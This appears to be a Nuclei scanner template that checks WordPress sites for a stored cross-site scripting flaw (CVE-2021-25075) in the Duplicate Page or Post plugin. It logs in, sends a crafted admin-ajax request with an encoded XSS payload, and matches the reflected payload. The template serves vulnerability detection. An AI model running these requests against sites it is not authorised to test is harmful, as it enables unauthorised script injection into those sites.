id: CVE-2021-25075

info:
  name: WordPress Duplicate Page or Post <1.5.1 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: low
  description: |
    WordPress Duplicate Page or Post plugin before 1.5.1 contains a stored cross-site scripting vulnerability. The plugin does not have any authorization and has a flawed cross-site request forgery check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing unauthenticated users to call it and change the plugin's settings, or perform such attack via cross-site request forgery.
  remediation: Fixed in version 1.5.1.
  reference:
    - https://wpscan.com/vulnerability/db5a0431-af4d-45b7-be4e-36b6c90a601b
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25075
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25075
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 3.5
    cve-id: CVE-2021-25075
    cwe-id: CWE-862
    epss-score: 0.00071
    epss-percentile: 0.29529
    cpe: cpe:2.3:a:wpdevart:duplicate_page_or_post:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: wpdevart
    product: duplicate_page_or_post
    framework: wordpress
  tags: wpscan,cve,cve2021,wordpress,xss,wp-plugin,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        action=wpdevart_duplicate_post_parametrs_save_in_db&title_prefix=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2fXSS%2f%29+p
      - |
        GET /wp-admin/admin.php?page=wpda_duplicate_post_menu HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "style=animation-name:rotation onanimationstart=alert(/XSS/) p"
          - "toplevel_page_wpda_duplicate_post_menu"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201cba0ccf6652ab41394cda54a828a45eeabc325f82b9f3cf760a14d04b3e44a0022100b6e54d8489e07a213e69897d30067ae4c764779525ff2090f07f39a371981564:922c64590222798bb761d5b6d8e72950